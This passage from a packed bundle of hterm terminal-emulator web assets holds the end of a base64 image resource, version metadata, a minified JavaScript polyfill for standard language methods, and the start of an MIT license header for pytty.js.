'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' + 'YII='); lib.resource.add('hterm/concat/date', 'text/plain', 'Tue, 03 Jul 2018 10:10:23 +0000'); lib.resource.add('hterm/changelog/version', 'text/plain', '1.80'); lib.resource.add('hterm/changelog/date', 'text/plain', '2018-06-22'); lib.resource.add('hterm/git/HEAD', 'text/plain', '7466ad240f52b4efaf076bd14842d3b045e846ad');
El*hterm\polyfill.min.js}F/* Disable minification (remove `.min` from URL path) for more info */

(function(self, undefined) {function ArrayCreate(r){if(1/r==-Infinity&&(r=0),r>Math.pow(2,32)-1)throw new RangeError("Invalid array length");var n=[];return n.length=r,n}function Call(t,l){var n=arguments.length>2?arguments[2]:[];if(!1===IsCallable(t))throw new TypeError(Object.prototype.toString.call(t)+"is not a function.");return t.apply(l,n)}function Get(n,t){return n[t]}function HasOwnProperty(r,t){return Object.prototype.hasOwnProperty.call(r,t)}function HasProperty(n,r){return r in n}function IsArray(r){return"[object Array]"===Object.prototype.toString.call(r)}function IsCallable(n){return"function"==typeof n}function RequireObjectCoercible(e){if(null===e||e===undefined)throw TypeError(Object.prototype.toString.call(e)+" is not coercible to Object.");return e}function SameValueNonNumber(e,n){return e===n}function ToBoolean(o){return Boolean(o)}function ToInteger(n){var i=Number(n);return isNaN(i)?0:1/i===Infinity||1/i==-Infinity||i===Infinity||i===-Infinity?i:(i<0?-1:1)*Math.floor(Math.abs(i))}function ToLength(n){var t=ToInteger(n);return t<=0?0:Math.min(t,Math.pow(2,53)-1)}function ToObject(e){if(null===e||e===undefined)throw TypeError();return Object(e)}function GetV(t,e){return ToObject(t)[e]}function GetMethod(e,n){var r=GetV(e,n);if(null===r||r===undefined)return undefined;if(!1===IsCallable(r))throw new TypeError("Method not callable: "+n);return r}function Type(e){switch(typeof e){case"undefined":return"undefined";case"boolean":return"boolean";case"number":return"number";case"string":return"string";case"symbol":return"symbol";default:return null===e?"null":"Symbol"in self&&(e instanceof self.Symbol||e.constructor===self.Symbol)?"symbol":"object"}}function GetPrototypeFromConstructor(t,o){var r=Get(t,"prototype");return"object"!==Type(r)&&(r=o),r}function IsConstructor(t){return"object"===Type(t)&&("function"==typeof t&&!!t.prototype)}function OrdinaryToPrimitive(r,t){if("string"===t)var e=["toString","valueOf"];else e=["valueOf","toString"];for(var i=0;i<e.length;++i){var n=e[i],a=Get(r,n);if(IsCallable(a)){var o=Call(a,r);if("object"!==Type(o))return o}}throw new TypeError("Cannot convert to primitive.")}function SameValueZero(n,e){return Type(n)===Type(e)&&("number"===Type(n)?!(!isNaN(n)||!isNaN(e))||(1/n===Infinity&&1/e==-Infinity||(1/n==-Infinity&&1/e===Infinity||n===e)):SameValueNonNumber(n,e))}function ToPrimitive(e){var t=arguments.length>1?arguments[1]:undefined;if("object"===Type(e)){if(arguments.length<2)var i="default";else t===String?i="string":t===Number&&(i="number");var r="function"==typeof self.Symbol&&"symbol"==typeof self.Symbol.toPrimitive?GetMethod(e,self.Symbol.toPrimitive):undefined;if(r!==undefined){var n=Call(r,e,[i]);if("object"!==Type(n))return n;throw new TypeError("Cannot convert exotic object to primitive.")}return"default"===i&&(i="number"),OrdinaryToPrimitive(e,i)}return e}function ToString(t){switch(Type(t)){case"symbol":throw new TypeError("Cannot convert a Symbol value to a string");case"object":return ToString(ToPrimitive(t,String));default:return String(t)}}function ToPropertyKey(r){var i=ToPrimitive(r,String);return"symbol"===Type(i)?i:ToString(i)}function TrimString(e,u){var r=RequireObjectCoercible(e),t=ToString(r),n=/[\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF]+/.source;if("start"===u)var p=String.prototype.replace.call(t,new RegExp("^"+n,"g"),"");else p="end"===u?String.prototype.replace.call(t,new RegExp(n+"$","g"),""):String.prototype.replace.call(t,new RegExp("^"+n+"|"+n+"$","g"),"");return p}if (!("Date"in self&&"now"in self.Date&&"getTime"in self.Date.prototype
)) {Date.now=function e(){return(new Date).getTime()};}if (!("Date"in self&&"toISOString"in Date.prototype
)) {Date.prototype.toISOString=function t(){function t(t,e){return t=""+t,"0000".substr(0,e-t.length)+t}var e=this;return e.getUTCFullYear()+"-"+t(e.getUTCMonth()+1,2)+"-"+t(e.getUTCDate(),2)+"T"+t(e.getUTCHours(),2)+":"+t(e.getUTCMinutes(),2)+":"+t(e.getUTCSeconds(),2)+"."+t(e.getUTCMilliseconds(),3)+"Z"};}if (!("defineProperty"in Object&&function(){try{var e={}
return Object.defineProperty(e,"test",{value:42}),!0}catch(t){return!1}}()
)) {!function(e){var t=Object.prototype.hasOwnProperty.call(Object.prototype,"__defineGetter__"),r="A property cannot both have accessors and be writable or have a value";Object.defineProperty=function n(o,i,c){if(e&&(o===window||o===document||o===Element.prototype||o instanceof Element))return e(o,i,c);if(null===o||!(o instanceof Object||"object"==typeof o))throw new TypeError("Object.defineProperty called on non-object");if(!(c instanceof Object))throw new TypeError("Property description must be an object");var a=String(i),f="value"in c||"writable"in c,p="get"in c&&typeof c.get,s="set"in c&&typeof c.set;if(p){if("function"!==p)throw new TypeError("Getter must be a function");if(!t)throw new TypeError("Getters & setters cannot be defined on this javascript engine");if(f)throw new TypeError(r);Object.__defineGetter__.call(o,a,c.get)}else o[a]=c.value;if(s){if("function"!==s)throw new TypeError("Setter must be a function");if(!t)throw new TypeError("Getters & setters cannot be defined on this javascript engine");if(f)throw new TypeError(r);Object.__defineSetter__.call(o,a,c.set)}return"value"in c&&(o[a]=c.value),o}}(Object.defineProperty);}function CreateDataProperty(e,r,t){var a={value:t,writable:!0,enumerable:!0,configurable:!0};try{return Object.defineProperty(e,r,a),!0}catch(n){return!1}}function CreateDataPropertyOrThrow(t,r,o){var e=CreateDataProperty(t,r,o);if(!e)throw new TypeError("Cannot assign value `"+Object.prototype.toString.call(o)+"` to property `"+Object.prototype.toString.call(r)+"` on object `"+Object.prototype.toString.call(t)+"`");return e}function CreateMethodProperty(e,r,t){var a={value:t,writable:!0,enumerable:!1,configurable:!0};Object.defineProperty(e,r,a)}if (!("isArray"in Array
)) {CreateMethodProperty(Array,"isArray",function r(e){return IsArray(e)});}if (!("every"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"every",function r(e){var t=ToObject(this),o=ToLength(Get(t,"length"));if(!1===IsCallable(e))throw new TypeError(e+" is not a function");for(var n=arguments.length>1?arguments[1]:undefined,a=0;a<o;){var i=ToString(a);if(HasProperty(t,i)){var l=Get(t,i);if(!1===ToBoolean(Call(e,n,[l,a,t])))return!1}a+=1}return!0});}if (!("forEach"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"forEach",function r(t){var e=ToObject(this),n=e instanceof String?e.split(""):e,o=ToLength(Get(e,"length"));if(!1===IsCallable(t))throw new TypeError(t+" is not a function");for(var a=arguments.length>1?arguments[1]:undefined,i=0;i<o;){var f=ToString(i);if(HasProperty(n,f)){var l=Get(n,f);Call(t,a,[l,i,e])}i+=1}return undefined});}if (!("includes"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"includes",function e(r){"use strict";var t=ToObject(this),o=ToLength(Get(t,"length"));if(0===o)return!1;var n=ToInteger(arguments[1]);if(n>=0)var a=n;else(a=o+n)<0&&(a=0);for(;a<o;){var i=Get(t,ToString(a));if(SameValueZero(r,i))return!0;a+=1}return!1});}if (!("indexOf"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"indexOf",function r(t){var e=ToObject(this),n=ToLength(Get(e,"length"));if(0===n)return-1;var i=ToInteger(arguments[1]);if(i>=n)return-1;if(i>=0)var o=1/i==-Infinity?0:i;else(o=n+i)<0&&(o=0);for(;o<n;){if(HasProperty(e,ToString(o))){if(t===Get(e,ToString(o)))return o}o+=1}return-1});}if (!("lastIndexOf"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"lastIndexOf",function t(r){var e=ToObject(this),n=ToLength(Get(e,"length"));if(0===n)return-1;var o=arguments.length>1?ToInteger(arguments[1]):n-1;if(o>=0)var i=1/o==-Infinity?0:Math.min(o,n-1);else i=n+o;for(;i>=0;){if(HasProperty(e,ToString(i))){if(r===Get(e,ToString(i)))return i}i-=1}return-1});}if (!("reduce"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"reduce",function e(r){var t=ToObject(this),n=t instanceof String?t.split(""):t,o=ToLength(Get(n,"length"));if(!1===IsCallable(r))throw new TypeError(r+" is not a function");var i=arguments.length>1?arguments[1]:undefined;if(0===o&&arguments.length<2)throw new TypeError("Reduce of empty array with no initial value");var a=0,f=undefined;if(arguments.length>1)f=i;else{for(var l=!1;!1===l&&a<o;){var h=ToString(a);l=HasProperty(n,h),l&&(f=Get(n,h)),a+=1}if(!1===l)throw new TypeError("Reduce of empty array with no initial value")}for(;a<o;){if(h=ToString(a),l=HasProperty(n,h)){var y=Get(n,h);f=Call(r,undefined,[f,y,a,t])}a+=1}return f});}if (!("reduceRight"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"reduceRight",function e(r){var t=ToObject(this),n=t instanceof String?t.split(""):t,i=ToLength(Get(n,"length"));if(!1===IsCallable(r))throw new TypeError(r+" is not a function");var o=arguments.length>1?arguments[1]:undefined;if(0===i&&arguments.length<2)throw new TypeError("Reduce of empty array with no initial value");var a=i-1,f=undefined;if(arguments.length>1)f=o;else{for(var l=!1;!1===l&&a>=0;){var h=ToString(a);l=HasProperty(n,h),l&&(f=Get(n,h)),a-=1}if(!1===l)throw new TypeError("Reduce of empty array with no initial value")}for(;a>=0;){if(h=ToString(a),l=HasProperty(n,h)){var y=Get(n,h);f=Call(r,undefined,[f,y,a,t])}a-=1}return f});}if (!("some"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"some",function r(e){var t=ToObject(this),o=ToLength(Get(t,"length"));if(!1===IsCallable(e))throw new TypeError(e+" is not a function");for(var n=arguments.length>1?arguments[1]:undefined,a=0;a<o;){var i=ToString(a);if(HasProperty(t,i)){var l=Get(t,i);if(ToBoolean(Call(e,n,[l,a,t])))return!0}a+=1}return!1});}if (!("bind"in Function.prototype
)) {CreateMethodProperty(Function.prototype,"bind",function t(n){var r=Array,o=Object,e=r.prototype,l=function g(){},p=e.slice,a=e.concat,i=e.push,c=Math.max,u=this;if(!IsCallable(u))throw new TypeError("Function.prototype.bind called on incompatible "+u);for(var y,h=p.call(arguments,1),s=function(){if(this instanceof y){var t=u.apply(this,a.call(h,p.call(arguments)));return o(t)===t?t:this}return u.apply(n,a.call(h,p.call(arguments)))},f=c(0,u.length-h.length),b=[],d=0;d<f;d++)i.call(b,"$"+d);return y=Function("binder","return function ("+b.join(",")+"){ return binder.apply(this, arguments); }")(s),u.prototype&&(l.prototype=u.prototype,y.prototype=new l,l.prototype=null),y});}if (!("freeze"in Object
)) {CreateMethodProperty(Object,"freeze",function e(r){return r});}if (!("getOwnPropertyDescriptor"in Object&&"function"==typeof Object.getOwnPropertyDescriptor&&function(){try{return"3"===Object.getOwnPropertyDescriptor("13.7",1).value}catch(t){return!1}}()
)) {!function(){var e=Object.getOwnPropertyDescriptor,t=function(){try{return 1===Object.defineProperty(document.createElement("div"),"one",{get:function(){return 1}}).one}catch(e){return!1}},r={}.toString,n="".split;CreateMethodProperty(Object,"getOwnPropertyDescriptor",function c(o,i){var a=ToObject(o);a=("string"===Type(a)||a instanceof String)&&"[object String]"==r.call(o)?n.call(o,""):Object(o);var u=ToPropertyKey(i);if(t)try{return e(a,u)}catch(l){}if(HasOwnProperty(a,u))return{enumerable:!0,configurable:!0,writable:!0,value:a[u]}})}();}if (!("getPrototypeOf"in Object
)) {CreateMethodProperty(Object,"getPrototypeOf",function t(o){if(o!==Object(o))throw new TypeError("Object.getPrototypeOf called on non-object");var e=o.__proto__;return e||null===e?e:"function"==typeof o.constructor&&o instanceof o.constructor?o.constructor.prototype:o instanceof Object?Object.prototype:null});}if (!("keys"in Object&&function(){return 2===Object.keys(arguments).length}(1,2)&&function(){try{return Object.keys(""),!0}catch(t){return!1}}()
)) {CreateMethodProperty(Object,"keys",function(){"use strict";function t(t){var e=r.call(t),n="[object Arguments]"===e;return n||(n="[object Array]"!==e&&null!==t&&"object"==typeof t&&"number"==typeof t.length&&t.length>=0&&"[object Function]"===r.call(t.callee)),n}var e=Object.prototype.hasOwnProperty,r=Object.prototype.toString,n=Object.prototype.propertyIsEnumerable,o=!n.call({toString:null},"toString"),l=n.call(function(){},"prototype"),c=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],i=function(t){var e=t.constructor;return e&&e.prototype===t},u={$console:!0,$external:!0,$frame:!0,$frameElement:!0,$frames:!0,$innerHeight:!0,$innerWidth:!0,$outerHeight:!0,$outerWidth:!0,$pageXOffset:!0,$pageYOffset:!0,$parent:!0,$scrollLeft:!0,$scrollTop:!0,$scrollX:!0,$scrollY:!0,$self:!0,$webkitIndexedDB:!0,$webkitStorageInfo:!0,$window:!0},a=function(){if("undefined"==typeof window)return!1;for(var t in window)try{if(!u["$"+t]&&e.call(window,t)&&null!==window[t]&&"object"==typeof window[t])try{i(window[t])}catch(r){return!0}}catch(r){return!0}return!1}(),f=function(t){if("undefined"==typeof window||!a)return i(t);try{return i(t)}catch(e){return!1}};return function p(n){var i="[object Function]"===r.call(n),u=t(n),a="[object String]"===r.call(n),p=[];if(n===undefined||null===n)throw new TypeError("Cannot convert undefined or null to object");var s=l&&i;if(a&&n.length>0&&!e.call(n,0))for(var y=0;y<n.length;++y)p.push(String(y));if(u&&n.length>0)for(var g=0;g<n.length;++g)p.push(String(g));else for(var h in n)s&&"prototype"===h||!e.call(n,h)||p.push(String(h));if(o)for(var w=f(n),d=0;d<c.length;++d)w&&"constructor"===c[d]||!e.call(n,c[d])||p.push(c[d]);return p}}());}if (!("defineProperties"in Object
)) {CreateMethodProperty(Object,"defineProperties",function e(r,t){if("object"!==Type(r))throw new TypeError("Object.defineProperties called on non-object");for(var o=ToObject(t),n=Object.keys(o),c=[],i=0;i<n.length;i++){var b=n[i],f=Object.getOwnPropertyDescriptor(o,b);if(f!==undefined&&f.enumerable){var p=Get(o,b),a=p;c.push([b,a])}}for(var j=0;j<c.length;j++){var d=c[j][0];a=c[j][1],Object.defineProperty(r,d,a)}return r});}if (!("create"in Object
)) {!function(){function e(){}if({__proto__:null}instanceof Object)t=function(){var e=document.createElement("iframe");e.style.display="none";var o=document.body||document.documentElement;o.appendChild(e),e.src="javascript:";var n=e.contentWindow.Object.prototype;o.removeChild(e),e=null,delete n.constructor,delete n.hasOwnProperty,delete n.propertyIsEnumerable,delete n.isPrototypeOf,delete n.toLocaleString,delete n.toString,delete n.valueOf;var r=function l(){};return r.prototype=n,t=function(){return new r},new r};else var t=function(){return{__proto__:null}};CreateMethodProperty(Object,"create",function o(n,r){if("object"!==Type(n)&&"null"!==Type(n))throw new TypeError("Object prototype may only be an Object or null");if("null"===Type(n))var l=t();else e.prototype=n,l=new e,l.__proto__=n,l.constructor.prototype=n,l.__proto__=n;return 1 in arguments?Object.defineProperties(l,r):l})}();}function OrdinaryCreateFromConstructor(r,e){var t=arguments[2]||{},o=GetPrototypeFromConstructor(r,e),a=Object.create(o);for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&Object.defineProperty(a,n,{configurable:!0,enumerable:!1,writable:!0,value:t[n]});return a}function Construct(r){var t=arguments.length>2?arguments[2]:r,o=arguments.length>1?arguments[1]:[];if(!IsConstructor(r))throw new TypeError("F must be a constructor.");if(!IsConstructor(t))throw new TypeError("newTarget must be a constructor.");if(t===r)return new(Function.prototype.bind.apply(r,[null].concat(o)));var n=OrdinaryCreateFromConstructor(t,Object.prototype);return Call(r,n,o)}function ArraySpeciesCreate(e,r){if(0===r&&1/r==-Infinity&&(r=0),!1===IsArray(e))return ArrayCreate(r);var n=Get(e,"constructor");if("object"===Type(n)&&null===(n="Symbol"in self&&"species"in self.Symbol?Get(n,self.Symbol.species):undefined)&&(n=undefined),n===undefined)return ArrayCreate(r);if(!IsConstructor(n))throw new TypeError("C must be a constructor");return Construct(n,[r])}if (!("filter"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"filter",function r(e){var t=ToObject(this),o=ToLength(Get(t,"length"));if(!1===IsCallable(e))throw new TypeError(e+" is not a function");for(var a=arguments.length>1?arguments[1]:undefined,n=ArraySpeciesCreate(t,0),i=0,l=0;i<o;){var f=ToString(i);if(HasProperty(t,f)){var h=Get(t,f);ToBoolean(Call(e,a,[h,i,t]))&&(CreateDataPropertyOrThrow(n,ToString(l),h),l+=1)}i+=1}return n});}if (!("map"in Array.prototype
)) {CreateMethodProperty(Array.prototype,"map",function r(e){var t=ToObject(this),a=ToLength(Get(t,"length"));if(!1===IsCallable(e))throw new TypeError(e+" is not a function");for(var o=arguments.length>1?arguments[1]:undefined,n=ArraySpeciesCreate(t,a),i=0;i<a;){var p=ToString(i);if(HasProperty(t,p)){var h=Get(t,p),l=Call(e,o,[h,i,t]);CreateDataPropertyOrThrow(n,p,l)}i+=1}return n});}if (!("getOwnPropertyNames"in Object&&function(){try{return Object.getOwnPropertyNames(1),!0}catch(t){return!1}}()
)) {!function(){var t={}.toString,e="".split,r=[].concat,o=Object.prototype.hasOwnProperty,c=Object.getOwnPropertyNames||Object.keys,n="object"==typeof self?c(self):[];CreateMethodProperty(Object,"getOwnPropertyNames",function l(a){var p=ToObject(a);if("[object Window]"===t.call(p))try{return c(p)}catch(j){return r.call([],n)}p="[object String]"==t.call(p)?e.call(p,""):Object(p);for(var i=c(p),s=["length","prototype"],O=0;O<s.length;O++){var b=s[O];o.call(p,b)&&!i.includes(b)&&i.push(b)}if(i.includes("__proto__")){var f=i.indexOf("__proto__");i.splice(f,1)}return i})}();}if (!("trim"in String.prototype&&function(){var r="​…᠎"
return!"\t\n\x0B\f\r                 \u2028\u2029\ufeff".trim()&&r.trim()===r}()
)) {CreateMethodProperty(String.prototype,"trim",function t(){"use strict";var t=this;return TrimString(t,"start+end")});}})('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});_n˜hterm\pytty.js
a// Copyright (c) 2014 Krishna Srinivas
// Copyright (c) 2018 LogMeIn, Inc.
// 
// Permission is hereby granted, free of charge, to any person obtaining a copy 
// of this software and associated documentation files (the "Software"), to deal 
// in the Software without restriction, including without limitation the rights 
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
// copies of the Software, and to permit persons to whom the Software is 
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all 
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
